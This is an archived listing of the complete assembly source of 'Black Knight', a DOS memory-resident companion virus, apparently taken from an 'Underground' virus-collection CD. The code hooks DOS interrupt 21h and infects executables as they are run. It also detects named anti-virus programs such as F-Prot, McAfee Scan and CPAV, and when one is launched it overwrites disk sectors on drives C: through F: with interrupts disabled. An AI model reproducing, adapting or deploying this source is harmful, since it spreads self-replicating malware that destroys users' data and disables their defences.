home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / b / blknight.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  7.3 KB  |  1 lines

  1. ;Black Knight Anti-Virus-Virus;Size - 520;;Tasm BKNIGHT;Tlink /T BKNIGHT;Memory Resident Companion Virus;Anti-Anti-Virus ;Formats Drives C: to F: When Anti-Virus Product Is Ran;Tempest - _ Of Luxenburg;        .radix 16     cseg       segment        model  small        assume cs:cseg, ds:cseg, es:cseg        org 100hoi21            equ enditfilelength      equ endit - beginnameptr         equ endit+4DTA             equ endit+8     begin:          jmp     virus_install                              virus_name:                    db     'Black Knight'                                 ;installvirus_install:          nop        nop        nop        mov     ax,cs                    ; reduce memory size             dec     ax                                   mov     ds,ax                                cmp     byte ptr ds:[0000],5a                jne     cancel                                mov     ax,ds:[0003]                         sub     ax,100                                mov     ds:0003,axZopy_virus:          mov     bx,ax                    ; copy to claimed block          mov     ax,es                                add     ax,bx                               mov     es,ax        mov     cx,offset endit - begin                            mov     ax,ds                               inc     ax        mov     ds,ax        lea     si,ds:[begin]                    lea     di,es:0100                          rep     movsb                                                   Grab_21:                                                     mov     ds,cx                   ; hook int 21h        mov     si,0084h                ;         mov     di,offset oi21        mov     dx,offset check_exec        lodsw        cmp     ax,dx                   ;        je      cancel                  ; exit, if already installed        stosw        movsw                push    es         pop     ds        mov     ax,2521h                ; revector int 21h to virus        nop        int     21h        nop                                cancel:         ret          check_exec:             pushf        push    es                     ; push everything onto the        push    ds                     ; stack        push    ax        push    bx        push    dx        cmp     ax,04B00h               ; is the file being                                 jne     abort                   ; executed?                                         ;if yes, try the_stingerdo_infect:      call    infect                  ; then try to infect                                  abort:                                        ; restore everything        pop     dx        pop     bx        pop     ax        pop     ds        pop     es        popfBye_Bye:                         ; exit        jmp     dword ptr cs:[oi21]                     new_24h:                mov     al,3             ; critical error handler        iretinfect:                  mov     cs:[name_seg],ds       ; here, the virus essentially        mov     cs:[name_off],dx       ; copies the name of the                cld                            ; loaded file into a buffer        mov     di,dx                  ; so that it can be compared        push    ds                     ; against the default names        pop     es                     ; in the_stinger        mov     al,'.'                 ; subroutine         repne   scasb                  ; <--                 call    the_stinger            ; check for anti-virus load                           ; and deploy the_stinger                                cld        mov     word ptr cs:[nameptr],dx        mov     word ptr cs:[nameptr+2],ds        mov     ah,2Fh        int     21h        push    es        push    bx        push    cs        pop     ds        mov     dx,offset DTA        mov     ah,1Ah        int     21h        call    searchpoint        push    di        mov     si,offset COM_txt        mov     cx,3     rep    cmpsb         pop     di        jz      do_com        mov     si,offset EXE_txt        nop        mov     cl,3        rep     cmpsb        jnz     returndo_exe:         mov     si,offset COM_txt        nop        call    change_ext        mov     ax,3300h        nop        int     21h        push    dx        cwd        inc     ax        push    ax        int     21hGrab24h:                        mov     ax,3524h                 int     21h                push    bx        push    es        push    cs        pop     ds        mov     dx,offset new_24h        mov     ah,25h        push    ax        int     21h                        lds     dx,dword ptr [nameptr]  ;create the virus (unique name)        xor     cx,cx        mov     ah,05Bh        int     21        jc      return1                         xchg    bx,ax                   ;save handle                push    cs        pop     ds        mov     cx,filelength          ;cx= length of virus        mov     dx,offset begin        ;where to start copying        mov     ah,40h                 ;write the virus to the         int     21h                    ;new file        mov     ah,3Eh                 ; close        int     21hreturn1:        pop     ax        pop     ds        pop     dx        int     21h                pop     ax        pop     dx        int     21h                mov     si,offset EXE_txt        call    change_ext        return:         mov     ah,1Ah        pop     dx        pop     ds        int      21H        retdo_com:         call    findfirst                         cmp     word ptr cs:[DTA+1Ah],endit - begin        jne     return        mov     si,offset EXE_txt        call    change_ext        call    findfirst        jnc     return        mov     si,offset COM_txt        call    change_ext        jmp     short returnsearchpoint:    les     di,dword ptr cs:[nameptr]        mov     ch,0FFh        mov     al,0     repnz  scasb        sub     di,4        retchange_ext:     call    searchpoint        push    cs        pop     ds        movsw        movsw        retfindfirst:      lds     dx,dword ptr [nameptr]        mov     cl,27h        mov     ah,4Eh        int     21h        ret             the_stinger:        cmp     word ptr es:[di-3],'MI'    ;Integrity Master        je      jumptoass                                cmp     word ptr es:[di-3],'XR'    ;VIRX        je      jumptoass                                cmp     word ptr es:[di-3],'PO'    ;VIRUSTOP        jne     next1                             cmp     word ptr es:[di-5],'TS'           je      jumptoass                next1:          cmp     word ptr es:[di-3],'VA'    ;AV = CPAV        je      jumptoass                                     cmp     word ptr es:[di-3],'TO'    ;*prot = F-prot        jne     next2                        cmp     word ptr es:[di-5],'RP'          je      jumptoass                     next2:          cmp     word ptr es:[di-3],'NA'    ;*scan = McAfee's Scan.        jne     next3                        cmp     word ptr es:[di-5],'CS'          je      jumptoass                                     cmp     word ptr es:[di-3],'NA'    ;*lean = McAfee's CLEAN.        jne     next3                      ; why not, eh?        cmp     word ptr es:[di-5],'EL'          je      jumptoass                     next3:          ret                jumptoass:      jmp     nuke                  ;assassination (deletion)                        ; of anti-virus program                nuke:                        mov     al,2                   ;Lets Total The C: Drive        mov     cx,25        cli                             ; Keeps Victim From Aborting        cwd                                  int     026h                        sti                                 mov     al,3                   ;Lets Total The D: Drive        mov     cx,25        cli                             ; Keeps Victim From Aborting        cwd                                  int     026h                        sti                                 mov     al,3                   ;Lets Total The E: Drive        mov     cx,25        cli                             ; Keeps Victim From Aborting        cwd                                  int     026h                        sti                                 mov     al,5                   ;Lets Total The F: Drive        mov     cx,25        cli                             ; Keeps Victim From Aborting        cwd                                  int     026h                        sti                         EXE_txt         db  'EXE',0COM_txt         db  'COM',0 data_1          db      0data_2          db      0last            db     090Hname_seg        dw  ?name_off        dw  ?c1              db       0          c2              db       0          c3              db       0          c4              db       0          c5              db       0          virus_man:      db      'Tempest - _ Of Luxenburg'               endit:cseg            ends        end begin